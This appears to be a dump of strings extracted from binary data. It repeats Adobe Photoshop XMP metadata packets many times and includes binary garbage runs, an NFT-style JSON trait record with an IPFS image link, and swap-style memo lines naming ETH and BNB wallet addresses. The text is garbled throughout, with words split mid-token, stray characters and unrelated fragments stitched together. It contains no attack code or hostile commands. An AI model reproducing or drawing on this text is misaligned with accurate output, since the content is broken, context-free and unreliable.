text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="E42M
B5399E156B92BBA772D80A97BAB49" xmpMM:DocumentID="xmp.did:52B429B8ABC511EDA2D2DE395E0B20E8" xmpMM:InstanceID="xmp.iid:52B429B7ABC511EDA2D2DE395E0B20E8" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3cc2abf9-a657-1741-8320-bc9b3bb1c95b" stRef:documentID="xmp.did:3cc2abf9-a657-1741-8320-bc9b3bb1c95b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
{"image":"ipfs://QmYxT4LnK8sqLupjbS6eRvu1si7Ly2wFQAqFebxhWntcf6","attributes":[{"trait_type":"Background","value":"Purple"},{"trait_type":"Eyes","value":"Bored"},{"trait_type":"Mouth","value":"Tongue Out"},{"trait_type":"Clothes","value":"Bone Necklace"},{"trait_type":"Fur","value":"Cheetah"}]}
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
FjDOUT:5E3104391212AF27A4BA68DB2D0B3CE9B1FC9C83A98BE6BE898A3FDF5CA4847B
Aj?=:ETH.ETH:0x024C548B29a34090BF5da146fff0C45b905eF461:5877709::0
Bj@=:BNB.BNB:bnb1zvh6fwm6kl9y9uq2nejnu0c7ce5j7x00qgptfp:16115586::0
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 137.da4a7e5, 2022/11/27-09:35:03        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)" xmp:CreateDate="2023-02-07T11:49:02-05:00" xmp:ModifyDate="2023-02-13T11:46:56-05:00" xmp:MetadataDate="2023-02-13T11:46:56-05:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7e8acaa0-fcbf-ce42-abc9-2d828ebd128e" xmpMM:DocuM
mentID="adobe:docid:photoshop:206ddf36-6be8-ac4c-9c33-61132dbe458b" xmpMM:OriginalDocumentID="xmp.did:4e4a0734-9223-f946-9fd5-65134fffe61f" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" exif:ColorSpace="1" exif:PixelXDimension="1000" exif:PixelYDimension="1000"> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>95A1071E0679CB6B2641CB48873B0063</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEM
vt:instanceID="xmp.iid:4e4a0734-9223-f946-9fd5-65134fffe61f" stEvt:when="2023-02-07T11:49:02-05:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:afff7149-df0b-a447-a934-cf7aead3eee6" stEvt:when="2023-02-08T03:15:39-05:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:dc7cbc4b-a094-3e4b-97e7-5c3bd9e56a7e" stEvt:when="2023-02-13T11:46:56-05:00" stEvt:softwareAgent="Adobe PM
hotoshop 24.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:7e8acaa0-fcbf-ce42-abc9-2d828ebd128e" stEvt:when="2023-02-13T11:46:56-05:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:iM
nstanceID="xmp.iid:dc7cbc4b-a094-3e4b-97e7-5c3bd9e56a7e" stRef:documentID="xmp.did:4e4a0734-9223-f946-9fd5-65134fffe61f" stRef:originalDocumentID="xmp.did:4e4a0734-9223-f946-9fd5-65134fffe61f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>\
iTXtXML:com.adobe.xmp
